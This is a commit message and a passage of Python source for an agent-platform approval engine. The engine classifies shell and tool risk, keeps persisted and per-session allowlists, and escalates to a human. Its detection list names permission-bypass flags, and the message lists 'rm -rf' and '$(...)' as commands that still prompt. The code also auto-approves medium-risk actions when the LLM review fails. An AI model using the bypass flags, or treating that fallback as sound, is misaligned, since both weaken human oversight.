c901800062
Approval friction (harmless commands kept prompting): - Persist "Allow for this session" grants to approval_allowlist.yaml under a new sessions scope (capped LRU), hydrated lazily, so they survive `opc ui` restarts and re-entering the session instead of living only in memory. - Safe-prefix matching now accepts compound read-only commands: every segment must match a safe prefix, and fd-duplication / /dev/null redirections (2>&1, 2>/dev/null) no longer disqualify a command; real write redirections (>, >>, <) still do. Default safe prefixes gain common read-only commands (cd, cat, head, grep, git log, ...). - First-use approval now gates only MEDIUM+ risk; heuristically LOW actions proceed without a card. - Shell-substitution detection flags eval/source only at command position of a segment (no more false positives on `grep source file`); $(...) and backticks still flag anywhere. Approval card timeout redesign (deferred decisions): - The card's structured approval context (action, allowlist patterns, scopes) now travels through the escalation event into the persisted card metadata. - Timeout without a default action no longer marks the card timed out, and the session-detail reconciler no longer stales deferred-capable cards: the card stays pending and clickable indefinitely, including across restarts. - Clicking after the inline wait expired applies the allowlist grant (approve-once grants the exact command at session scope), resolves the card, and rewrites the reply to target the parked AWAITING_HUMAN checkpoint so the task resumes through the normal message pipeline and the retried command auto-approves. With no parked checkpoint the grant still lands and a helper reply explains the state. Verified: approval engine suite (40) incl. new deferred-decision and compound-command tests, ws_handler + runtime suites green, real escalated commands from project 999 replayed against the user's config now auto-approve while pip install / $(...) / rm -rf / write redirects still prompt. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
1842 lines
74 KiB
Python
1842 lines
74 KiB
Python
"""Autonomy approval engine for native tools and external agents."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import re
|
|
import shlex
|
|
from pathlib import Path
|
|
from typing import Any, Callable, Coroutine
|
|
|
|
from loguru import logger
|
|
|
|
from opc.core.company_tools import COMPANY_APPROVAL_EXEMPT_TOOL_NAMES
|
|
from opc.core.config import AutonomyConfig, get_opc_home
|
|
from opc.core.models import (
|
|
ApprovalAction,
|
|
ApprovalDecision,
|
|
PermissionResolution,
|
|
PermissionScope,
|
|
RiskLevel,
|
|
RuntimePermissionDecision,
|
|
Task,
|
|
)
|
|
from opc.database.store import OPCStore
|
|
from opc.layer2_organization.data_acquisition_policy import (
|
|
ACQUISITION_SHELL_PREFIXES,
|
|
is_projection_scoped_acquisition_shell_command,
|
|
)
|
|
from opc.layer2_organization.escalation import EscalationEngine
|
|
from opc.layer2_organization.work_item_identity import (
|
|
work_item_identity_payload_for_task,
|
|
work_item_projection_id_from_metadata,
|
|
)
|
|
from opc.layer5_memory.approval_allowlist import ApprovalAllowlistManager
|
|
from opc.layer5_memory.memory_manager import MemoryManager
|
|
from opc.layer5_memory.preference import PreferenceManager
|
|
from opc.layer5_memory.secretary_policy import SecretaryPolicyManager
|
|
from opc.llm.provider import LLMProvider
|
|
from opc.llm.retry import LLMRetryError, call_llm_json_with_retry
|
|
|
|
|
|
_SHELL_CONTROL_TOKENS = {"&&", "||", ";", "|", "&"}
|
|
# Redirections that cannot write to a real file: fd duplication (2>&1, >&2)
|
|
# and discarding output into /dev/null. Everything else keeps counting as a
|
|
# redirection for the safe-prefix check.
|
|
_SAFE_REDIRECTION_RE = re.compile(r"(?:\d?>>?\s*/dev/null\b|\d?>&\d|&>>?\s*/dev/null\b)")
|
|
_LOW_RISK_SHELL_PREFIXES = set(ACQUISITION_SHELL_PREFIXES)
|
|
_EXTERNAL_AGENT_DIRECT_HUMAN_MARKERS = (
|
|
"--dangerously-bypass-approvals-and-sandbox",
|
|
"--dangerously-skip-permissions",
|
|
"--force",
|
|
"bypasspermissions",
|
|
"bypass-permissions",
|
|
"permission-mode bypass",
|
|
)
|
|
_SHELL_COMMAND_PREFIX_ARITY = {
|
|
"aws": 3,
|
|
"az": 3,
|
|
"bun": 2,
|
|
"bun run": 3,
|
|
"bun x": 3,
|
|
"cargo": 2,
|
|
"cargo add": 3,
|
|
"cargo run": 3,
|
|
"deno": 2,
|
|
"deno task": 3,
|
|
"docker": 2,
|
|
"docker builder": 3,
|
|
"docker compose": 3,
|
|
"docker container": 3,
|
|
"docker image": 3,
|
|
"docker network": 3,
|
|
"docker volume": 3,
|
|
"gh": 3,
|
|
"git": 2,
|
|
"git config": 3,
|
|
"git remote": 3,
|
|
"git stash": 3,
|
|
"go": 2,
|
|
"kubectl": 2,
|
|
"kubectl kustomize": 3,
|
|
"kubectl rollout": 3,
|
|
"make": 2,
|
|
"npm": 2,
|
|
"npm exec": 3,
|
|
"npm init": 3,
|
|
"npm run": 3,
|
|
"npm view": 3,
|
|
"pip": 2,
|
|
"pnpm": 2,
|
|
"pnpm dlx": 3,
|
|
"pnpm exec": 3,
|
|
"pnpm run": 3,
|
|
"poetry": 2,
|
|
"python": 2,
|
|
"python3": 2,
|
|
"terraform": 2,
|
|
"terraform workspace": 3,
|
|
"yarn": 2,
|
|
"yarn dlx": 3,
|
|
"yarn run": 3,
|
|
}
|
|
|
|
|
|
class ApprovalEngine:
|
|
"""Bounded-autonomy policy engine."""
|
|
|
|
def __init__(
|
|
self,
|
|
llm: LLMProvider,
|
|
store: OPCStore,
|
|
preferences: PreferenceManager,
|
|
memory: MemoryManager,
|
|
escalation: EscalationEngine | None,
|
|
config: AutonomyConfig,
|
|
secretary_policies: SecretaryPolicyManager | None = None,
|
|
) -> None:
|
|
self.llm = llm
|
|
self.store = store
|
|
self.preferences = preferences
|
|
self.memory = memory
|
|
self.escalation = escalation
|
|
self.config = config
|
|
self.secretary_policies = secretary_policies
|
|
opc_home = getattr(preferences, "opc_home", None)
|
|
self.allowlist = ApprovalAllowlistManager(opc_home) if opc_home else None
|
|
self._session_allowlist: dict[str, dict[str, dict[str, list[str]]]] = {}
|
|
if self.allowlist:
|
|
self.allowlist.ensure_file()
|
|
|
|
async def authorize_tool_call(
|
|
self,
|
|
task: Task | None,
|
|
tool_name: str,
|
|
arguments: dict[str, Any],
|
|
metadata: dict[str, Any] | None = None,
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
) -> tuple[bool, ApprovalDecision]:
|
|
action_name = tool_name
|
|
payload = {
|
|
"tool": tool_name,
|
|
"arguments": arguments,
|
|
"metadata": dict(metadata or {}),
|
|
**work_item_identity_payload_for_task(task),
|
|
"role_id": str((task.assigned_to if task else "") or (task.metadata if task else {}).get("work_item_role_id", "") or ""),
|
|
"target_output_dir": str((task.metadata if task else {}).get("target_output_dir", "") or ""),
|
|
}
|
|
return await self._authorize(
|
|
task=task,
|
|
action_kind="tool",
|
|
action_name=action_name,
|
|
summary=json.dumps(payload, ensure_ascii=False, default=str)[:4000],
|
|
target_agent="native",
|
|
metadata=payload,
|
|
on_progress=on_progress,
|
|
allow_auto=self.config.allow_native_tool_auto_approval,
|
|
)
|
|
|
|
async def authorize_tool_permission_decision(
|
|
self,
|
|
task: Task | None,
|
|
tool_name: str,
|
|
arguments: dict[str, Any],
|
|
metadata: dict[str, Any] | None = None,
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
) -> RuntimePermissionDecision:
|
|
_, decision = await self.authorize_tool_call(
|
|
task=task,
|
|
tool_name=tool_name,
|
|
arguments=arguments,
|
|
metadata=metadata,
|
|
on_progress=on_progress,
|
|
)
|
|
return self.to_permission_decision(decision)
|
|
|
|
async def authorize_external_action(
|
|
self,
|
|
task: Task,
|
|
agent_name: str,
|
|
metadata: dict[str, Any],
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
) -> tuple[bool, ApprovalDecision]:
|
|
command_preview = self._command_preview(str(metadata.get("command", "")), drop_last_token=True)
|
|
summary = (
|
|
f"agent={agent_name}; command={command_preview}; "
|
|
f"model={metadata.get('model', '(cli default)')}; "
|
|
f"session_mode={metadata.get('session_mode', 'auto')}; "
|
|
f"run_mode={metadata.get('run_mode', 'batch')}; "
|
|
f"approval_mode={metadata.get('approval_mode', 'auto')}"
|
|
)
|
|
explicit_user_selected_agent = bool(metadata.get("explicit_user_selected_agent"))
|
|
external_session_continuation = bool(metadata.get("external_session_continuation"))
|
|
if explicit_user_selected_agent:
|
|
rationale = "The user explicitly selected this external agent for the current task session."
|
|
confidence = 0.98
|
|
policy_source = "explicit_user_agent_selection"
|
|
risk = RiskLevel.LOW
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=risk,
|
|
rationale=rationale,
|
|
confidence=confidence,
|
|
policy_source=policy_source,
|
|
metadata=metadata,
|
|
)
|
|
await self._record(task, "external_agent", agent_name, agent_name, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] external_agent:{agent_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
if external_session_continuation:
|
|
rationale = "Continuing an already selected external-agent session within the same task session."
|
|
confidence = 0.99
|
|
policy_source = "external_session_continuation"
|
|
risk = RiskLevel.LOW
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=risk,
|
|
rationale=rationale,
|
|
confidence=confidence,
|
|
policy_source=policy_source,
|
|
metadata=metadata,
|
|
)
|
|
await self._record(task, "external_agent", agent_name, agent_name, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] external_agent:{agent_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
return await self._authorize(
|
|
task=task,
|
|
action_kind="external_agent",
|
|
action_name=agent_name,
|
|
summary=summary,
|
|
target_agent=agent_name,
|
|
metadata=metadata,
|
|
on_progress=on_progress,
|
|
allow_auto=self.config.allow_external_agent_auto_approval,
|
|
)
|
|
|
|
async def authorize_external_permission_decision(
|
|
self,
|
|
task: Task,
|
|
agent_name: str,
|
|
metadata: dict[str, Any],
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
) -> RuntimePermissionDecision:
|
|
_, decision = await self.authorize_external_action(
|
|
task=task,
|
|
agent_name=agent_name,
|
|
metadata=metadata,
|
|
on_progress=on_progress,
|
|
)
|
|
return self.to_permission_decision(decision)
|
|
|
|
async def authorize_work_item_action(
|
|
self,
|
|
task: Task,
|
|
work_item_title: str,
|
|
metadata: dict[str, Any],
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
force_human: bool = False,
|
|
) -> tuple[bool, ApprovalDecision]:
|
|
summary = (
|
|
f"work_item_projection_title={work_item_title}; role={metadata.get('role_id', '')}; "
|
|
f"gate_type={metadata.get('gate_type', '')}"
|
|
)
|
|
return await self._authorize(
|
|
task=task,
|
|
action_kind="work_item_projection_title",
|
|
action_name=work_item_title,
|
|
summary=summary,
|
|
target_agent=metadata.get("role_id", "company_runtime"),
|
|
metadata=metadata,
|
|
on_progress=on_progress,
|
|
allow_auto=not force_human,
|
|
)
|
|
|
|
async def authorize_work_item_permission_decision(
|
|
self,
|
|
task: Task,
|
|
work_item_title: str,
|
|
metadata: dict[str, Any],
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
force_human: bool = False,
|
|
) -> RuntimePermissionDecision:
|
|
_, decision = await self.authorize_work_item_action(
|
|
task=task,
|
|
work_item_title=work_item_title,
|
|
metadata=metadata,
|
|
on_progress=on_progress,
|
|
force_human=force_human,
|
|
)
|
|
return self.to_permission_decision(decision)
|
|
|
|
def to_permission_decision(self, decision: ApprovalDecision) -> RuntimePermissionDecision:
|
|
if decision.action == ApprovalAction.AUTO_APPROVE:
|
|
resolution = PermissionResolution.ALLOW
|
|
elif decision.action == ApprovalAction.REJECT:
|
|
resolution = PermissionResolution.DENY
|
|
else:
|
|
resolution = PermissionResolution.ASK
|
|
return RuntimePermissionDecision(
|
|
resolution=resolution,
|
|
scope=self._decision_scope(decision),
|
|
risk_level=decision.risk_level,
|
|
rationale=decision.rationale,
|
|
source=decision.policy_source,
|
|
metadata=dict(decision.metadata or {}),
|
|
)
|
|
|
|
def _decision_scope(self, decision: ApprovalDecision) -> PermissionScope:
|
|
reply = str((decision.metadata or {}).get("human_reply") or "").strip().lower()
|
|
if reply == "approve_session":
|
|
return PermissionScope.SESSION
|
|
if reply == "always_project":
|
|
return PermissionScope.PROJECT
|
|
if reply == "always_global":
|
|
return PermissionScope.GLOBAL
|
|
return PermissionScope.ONCE
|
|
|
|
async def _authorize(
|
|
self,
|
|
task: Task | None,
|
|
action_kind: str,
|
|
action_name: str,
|
|
summary: str,
|
|
target_agent: str,
|
|
metadata: dict[str, Any],
|
|
on_progress: Callable[[str], Coroutine[Any, Any, None]] | None = None,
|
|
allow_auto: bool = True,
|
|
) -> tuple[bool, ApprovalDecision]:
|
|
if not self.config.enabled:
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale="Autonomy policy is disabled.",
|
|
confidence=1.0,
|
|
policy_source="config",
|
|
metadata=metadata,
|
|
)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
return True, decision
|
|
|
|
memory_decision = self._memory_path_decision(action_kind, action_name, metadata)
|
|
if memory_decision:
|
|
await self._record(task, action_kind, action_name, target_agent, memory_decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {memory_decision.action.value} "
|
|
f"(risk={memory_decision.risk_level.value}, confidence={memory_decision.confidence:.2f})"
|
|
)
|
|
return True, memory_decision
|
|
|
|
if self.secretary_policies:
|
|
policy_hit = self.secretary_policies.evaluate_tool_policy(
|
|
project_id=task.project_id if task else None,
|
|
tool_name=action_name,
|
|
arguments=metadata.get("arguments", {}) if action_kind == "tool" else metadata,
|
|
safe_command_prefixes=self.config.safe_command_prefixes,
|
|
)
|
|
if policy_hit and policy_hit.get("effect") == "escalate":
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.ESCALATE,
|
|
risk_level=RiskLevel.HIGH,
|
|
rationale=str(policy_hit.get("reason", "")).strip() or "Blocked by secretary policy.",
|
|
confidence=0.95,
|
|
policy_source="secretary_policy",
|
|
metadata={**metadata, "secretary_rule_id": policy_hit.get("rule_id", "")},
|
|
)
|
|
if self.escalation and task:
|
|
approved, decision = await self._ask_user(task, action_kind, action_name, decision, metadata)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
return approved, decision
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
return False, decision
|
|
if policy_hit and policy_hit.get("effect") == "auto_allow" and action_kind == "tool":
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale=str(policy_hit.get("reason", "")).strip() or "Allowed by secretary policy.",
|
|
confidence=0.95,
|
|
policy_source="secretary_policy",
|
|
metadata={**metadata, "secretary_rule_id": policy_hit.get("rule_id", "")},
|
|
)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
|
|
if action_kind == "tool" and action_name in COMPANY_APPROVAL_EXEMPT_TOOL_NAMES:
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale="Built-in company collaboration tool is always auto-approved.",
|
|
confidence=0.99,
|
|
policy_source="company_tool_policy",
|
|
metadata=metadata,
|
|
)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
|
|
allowlist_enabled = self._allowlist_enabled_for_action(action_kind, metadata)
|
|
session_allowlist_hit = (
|
|
self._lookup_session_allowlist_policy(
|
|
task=task,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
metadata=metadata,
|
|
)
|
|
if allowlist_enabled
|
|
else None
|
|
)
|
|
if session_allowlist_hit:
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale=(
|
|
f"Allowed by session approval ({session_allowlist_hit['scope']}): "
|
|
+ ", ".join(session_allowlist_hit["patterns"][:4])
|
|
),
|
|
confidence=0.99,
|
|
policy_source="session_approval",
|
|
metadata={
|
|
**metadata,
|
|
"allowlist_scope": session_allowlist_hit["scope"],
|
|
"allowlist_patterns": session_allowlist_hit["patterns"],
|
|
},
|
|
)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
|
|
project_id = task.project_id if task else None
|
|
allowlist_hit = (
|
|
self._lookup_allowlist_policy(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
metadata=metadata,
|
|
project_id=project_id,
|
|
)
|
|
if allowlist_enabled
|
|
else None
|
|
)
|
|
if allowlist_hit:
|
|
scope = "global" if allowlist_hit["scope"] is None else f"project:{allowlist_hit['scope']}"
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.LOW,
|
|
rationale=(
|
|
f"Allowed by persisted allowlist ({scope}): "
|
|
+ ", ".join(allowlist_hit["patterns"][:4])
|
|
),
|
|
confidence=0.99,
|
|
policy_source="approval_allowlist",
|
|
metadata={**metadata, "allowlist_scope": scope, "allowlist_patterns": allowlist_hit["patterns"]},
|
|
)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return True, decision
|
|
|
|
learned = self._lookup_learned_policy(action_name, project_id)
|
|
heuristic = self._heuristic_decision(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
summary=summary,
|
|
metadata=metadata,
|
|
learned=learned,
|
|
allow_auto=allow_auto,
|
|
)
|
|
decision = heuristic
|
|
tool_requires_allowlist = self._tool_requires_first_use_approval(
|
|
action_kind,
|
|
action_name,
|
|
metadata=metadata,
|
|
)
|
|
|
|
external_direct_prompt_reason = self._external_agent_direct_human_prompt_reason(
|
|
action_kind=action_kind,
|
|
metadata=metadata,
|
|
)
|
|
|
|
if tool_requires_allowlist and heuristic.risk_level != RiskLevel.LOW:
|
|
# First-use approval exists to catch unfamiliar, potentially risky
|
|
# actions. Actions the heuristic already classified LOW (read-only
|
|
# safe-prefix shell commands, clean tool arguments) proceed without
|
|
# a card; MEDIUM and above still require the human gate.
|
|
decision = self._force_first_use_approval(heuristic)
|
|
elif external_direct_prompt_reason:
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.ESCALATE,
|
|
risk_level=RiskLevel.HIGH
|
|
if heuristic.risk_level != RiskLevel.CRITICAL
|
|
else RiskLevel.CRITICAL,
|
|
rationale=external_direct_prompt_reason,
|
|
confidence=0.96,
|
|
policy_source="external_agent_policy",
|
|
metadata=metadata,
|
|
)
|
|
elif heuristic.risk_level in {RiskLevel.MEDIUM, RiskLevel.HIGH} and allow_auto:
|
|
llm_decision = await self._llm_review(
|
|
task=task,
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
summary=summary,
|
|
metadata=metadata,
|
|
learned=learned,
|
|
)
|
|
if llm_decision:
|
|
decision = self._merge_decisions(heuristic, llm_decision)
|
|
elif heuristic.risk_level == RiskLevel.MEDIUM:
|
|
# LLM review failed (e.g. empty response) — for medium-risk
|
|
# actions with auto-approval enabled, approve rather than
|
|
# escalating on a transient LLM failure.
|
|
decision = ApprovalDecision(
|
|
action=ApprovalAction.AUTO_APPROVE,
|
|
risk_level=RiskLevel.MEDIUM,
|
|
rationale=f"{heuristic.rationale} | LLM review unavailable; auto-approving medium-risk action.",
|
|
confidence=0.55,
|
|
policy_source="heuristic_fallback",
|
|
metadata=metadata,
|
|
)
|
|
|
|
if decision.action == ApprovalAction.ESCALATE and self.escalation and task:
|
|
hierarchy_target = self._company_hierarchy_target(task)
|
|
if hierarchy_target:
|
|
decision.metadata = {
|
|
**dict(decision.metadata or {}),
|
|
"company_reviewer_role": hierarchy_target,
|
|
"approval_path": ["manager_or_coordinator", "user"],
|
|
}
|
|
decision.rationale = (
|
|
f"{decision.rationale} | Company hierarchy prefers `{hierarchy_target}` review before direct user escalation."
|
|
).strip()
|
|
approved, decision = await self._ask_user(task, action_kind, action_name, decision, metadata)
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
return approved, decision
|
|
|
|
approved = decision.action == ApprovalAction.AUTO_APPROVE
|
|
await self._record(task, action_kind, action_name, target_agent, decision)
|
|
if on_progress:
|
|
await on_progress(
|
|
f"[Autonomy] {action_kind}:{action_name} -> {decision.action.value} "
|
|
f"(risk={decision.risk_level.value}, confidence={decision.confidence:.2f})"
|
|
)
|
|
return approved, decision
|
|
|
|
def _company_hierarchy_target(self, task: Task | None) -> str:
|
|
if task is None:
|
|
return ""
|
|
if str(task.metadata.get("execution_mode", "") or "").strip() != "company_mode":
|
|
return ""
|
|
manager_role = str(task.metadata.get("manager_role_id", "") or "").strip()
|
|
if manager_role and manager_role != "owner":
|
|
return manager_role
|
|
review_role = str(task.metadata.get("work_item_role_id", "") or "").strip()
|
|
return review_role
|
|
|
|
def _external_agent_direct_human_prompt_reason(
|
|
self,
|
|
*,
|
|
action_kind: str,
|
|
metadata: dict[str, Any],
|
|
) -> str:
|
|
"""Return a deterministic escalation reason for external launches that
|
|
should not wait on LLM approval review before asking the user."""
|
|
if action_kind != "external_agent":
|
|
return ""
|
|
approval_mode = str(metadata.get("approval_mode", "") or "").strip().lower()
|
|
command = self._command_preview(
|
|
str(metadata.get("command", "") or ""),
|
|
drop_last_token=True,
|
|
)
|
|
haystack = " ".join(
|
|
str(part or "")
|
|
for part in (
|
|
command,
|
|
metadata.get("run_mode", ""),
|
|
metadata.get("session_mode", ""),
|
|
metadata.get("approval_mode", ""),
|
|
metadata.get("permission_mode", ""),
|
|
)
|
|
).lower()
|
|
markers = [marker for marker in _EXTERNAL_AGENT_DIRECT_HUMAN_MARKERS if marker in haystack]
|
|
if approval_mode == "full-auto":
|
|
markers.append("approval_mode=full-auto")
|
|
if not markers:
|
|
return ""
|
|
reasons: list[str] = []
|
|
if "approval_mode=full-auto" in markers:
|
|
reasons.append("full-auto execution")
|
|
if "--force" in markers:
|
|
reasons.append("forced execution")
|
|
if any("bypass" in marker or "dangerously" in marker for marker in markers):
|
|
reasons.append("permission bypass mode")
|
|
detail = ", ".join(dict.fromkeys(reasons)) or "external-agent launch requires user confirmation"
|
|
return (
|
|
f"External agent launch requires direct user approval before start ({detail}). "
|
|
"Skipping LLM approval review so the approval card appears immediately."
|
|
)
|
|
|
|
@staticmethod
|
|
def _is_external_agent_launch(action_kind: str, metadata: dict[str, Any]) -> bool:
|
|
return action_kind == "external_agent" and bool(
|
|
str(metadata.get("command", "") or "").strip()
|
|
)
|
|
|
|
@staticmethod
|
|
def _allowlist_enabled_for_action(action_kind: str, metadata: dict[str, Any]) -> bool:
|
|
"""Whether reusable human approval scopes are meaningful here.
|
|
|
|
External-agent launches used to be excluded because their raw command
|
|
contains the per-turn prompt. Reusable external-agent approvals are
|
|
still safe to model at the selected-agent level: persistence is scoped
|
|
by ``action_kind:action_name`` and uses ``*`` for the pattern, so
|
|
"allow for this session/project" means "allow this agent" rather than
|
|
"allow this exact prompt".
|
|
"""
|
|
_ = metadata
|
|
return action_kind in {"tool", "external_agent", "work_item_projection_title"}
|
|
|
|
def _lookup_learned_policy(self, action_name: str, project_id: str | None) -> dict[str, Any]:
|
|
autonomy = self.preferences.get_autonomy_preferences(project_id)
|
|
return autonomy.get("learned_actions", {}).get(action_name, {})
|
|
|
|
def _lookup_allowlist_policy(
|
|
self,
|
|
*,
|
|
action_kind: str,
|
|
action_name: str,
|
|
metadata: dict[str, Any],
|
|
project_id: str | None,
|
|
) -> dict[str, Any] | None:
|
|
if not self.allowlist:
|
|
return None
|
|
candidates = self._build_allowlist_candidates(action_kind=action_kind, action_name=action_name, metadata=metadata)
|
|
allowed, patterns, scope = self.allowlist.is_allowed(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
candidates=candidates,
|
|
project_id=project_id,
|
|
)
|
|
if not allowed:
|
|
return None
|
|
return {"patterns": patterns, "scope": scope}
|
|
|
|
def _lookup_session_allowlist_policy(
|
|
self,
|
|
*,
|
|
task: Task | None,
|
|
action_kind: str,
|
|
action_name: str,
|
|
metadata: dict[str, Any],
|
|
) -> dict[str, Any] | None:
|
|
session_scope_id = self._approval_session_scope_id(task)
|
|
if not session_scope_id:
|
|
return None
|
|
scope = self._session_allowlist.get(session_scope_id)
|
|
if scope is None:
|
|
# Hydrate from the persisted allowlist so "Allow for this session"
|
|
# grants survive `opc ui` restarts and re-entering the session.
|
|
scope = {}
|
|
if self.allowlist:
|
|
try:
|
|
scope = self.allowlist.session_scope(session_scope_id)
|
|
except Exception:
|
|
logger.opt(exception=True).debug(
|
|
"Failed to hydrate persisted session allowlist; using empty scope"
|
|
)
|
|
scope = {}
|
|
self._session_allowlist[session_scope_id] = scope
|
|
patterns = ApprovalAllowlistManager._scope_patterns(scope, action_kind, action_name)
|
|
if not patterns:
|
|
return None
|
|
candidates = self._build_allowlist_candidates(
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
metadata=metadata,
|
|
)
|
|
normalized_candidates = [
|
|
ApprovalAllowlistManager._normalize_candidate(candidate)
|
|
for candidate in candidates
|
|
if ApprovalAllowlistManager._normalize_candidate(candidate)
|
|
]
|
|
if not normalized_candidates:
|
|
return None
|
|
matched: list[str] = []
|
|
for candidate in normalized_candidates:
|
|
candidate_patterns = [
|
|
pattern
|
|
for pattern in patterns
|
|
if ApprovalAllowlistManager._matches(pattern, candidate)
|
|
]
|
|
if not candidate_patterns:
|
|
return None
|
|
matched.extend(candidate_patterns)
|
|
return {"patterns": list(dict.fromkeys(matched)), "scope": f"session:{session_scope_id}"}
|
|
|
|
@staticmethod
|
|
def _approval_session_scope_id(task: Task | None) -> str:
|
|
if task is None:
|
|
return ""
|
|
for candidate in (
|
|
getattr(task, "parent_session_id", None),
|
|
getattr(task, "session_id", None),
|
|
getattr(task, "id", None),
|
|
):
|
|
value = str(candidate or "").strip()
|
|
if value:
|
|
return value
|
|
return ""
|
|
|
|
def _add_session_patterns(
|
|
self,
|
|
*,
|
|
task: Task,
|
|
action_kind: str,
|
|
action_name: str,
|
|
patterns: list[str],
|
|
) -> list[str]:
|
|
return self._add_session_patterns_by_scope(
|
|
session_scope_id=self._approval_session_scope_id(task),
|
|
action_kind=action_kind,
|
|
action_name=action_name,
|
|
patterns=patterns,
|
|
)
|
|
|
|
def _add_session_patterns_by_scope(
|
|
self,
|
|
*,
|
|
session_scope_id: str,
|
|
action_kind: str,
|
|
action_name: str,
|
|
patterns: list[str],
|
|
) -> list[str]:
|
|
if not session_scope_id:
|
|
return []
|
|
normalized_patterns = ApprovalAllowlistManager._normalize_pattern_list(patterns)
|
|
if not normalized_patterns:
|
|
return []
|
|
scope = self._session_allowlist.setdefault(
|
|
session_scope_id,
|
|
ApprovalAllowlistManager._normalize_scope({}),
|
|
)
|
|
action_bucket = scope.setdefault(action_kind, {})
|
|
existing = ApprovalAllowlistManager._normalize_pattern_list(action_bucket.get(action_name, []))
|
|
added: list[str] = []
|
|
for pattern in normalized_patterns:
|
|
if pattern in existing:
|
|
continue
|
|
existing.append(pattern)
|
|
added.append(pattern)
|
|
action_bucket[action_name] = existing
|
|
if added and self.allowlist:
|
|
try:
|
|
self.allowlist.add_session_patterns(session_scope_id, action_kind, action_name, added)
|
|
except Exception:
|
|
logger.opt(exception=True).debug(
|
|
"Failed to persist session allowlist patterns; grant remains in-memory only"
|
|
)
|
|
return added
|
|
|
|
def _tool_requires_first_use_approval(
|
|
self,
|
|
action_kind: str,
|
|
action_name: str,
|
|
*,
|
|
metadata: dict[str, Any],
|
|
) -> bool:
|
|
if action_kind != "tool":
|
|
return False
|
|
if not self.config.tool_first_use_approval:
|
|
return False
|
|
if action_name in COMPANY_APPROVAL_EXEMPT_TOOL_NAMES:
|
|
return False
|
|
if self._is_low_risk_shell_first_use_exempt(action_name, metadata):
|
|
return False
|
|
exemptions = {item.strip() for item in self.config.tool_approval_exemptions if item.strip()}
|
|
return action_name not in exemptions
|
|
|
|
def _force_first_use_approval(self, heuristic: ApprovalDecision) -> ApprovalDecision:
|
|
rationale_parts = [heuristic.rationale] if heuristic.rationale else []
|
|
rationale_parts.append("No persisted allowlist rule matched; first use requires approval.")
|
|
return ApprovalDecision(
|
|
action=ApprovalAction.ESCALATE,
|
|
risk_level=heuristic.risk_level,
|
|
rationale=" | ".join(rationale_parts),
|
|
confidence=max(heuristic.confidence, 0.9),
|
|
policy_source="approval_allowlist",
|
|
metadata=heuristic.metadata,
|
|
)
|
|
|
|
def _build_allowlist_candidates(
|
|
self,
|
|
*,
|
|
action_kind: str,
|
|
action_name: str,
|
|
metadata: dict[str, Any],
|
|
) -> list[str]:
|
|
if action_kind == "tool":
|
|
arguments = metadata.get("arguments", {})
|
|
if action_name == "shell_exec" and isinstance(arguments, dict):
|
|
command = str(arguments.get("command", "")).strip()
|
|
commands, _ = self._extract_shell_command_targets(command)
|
|
if commands:
|
|
return commands
|
|
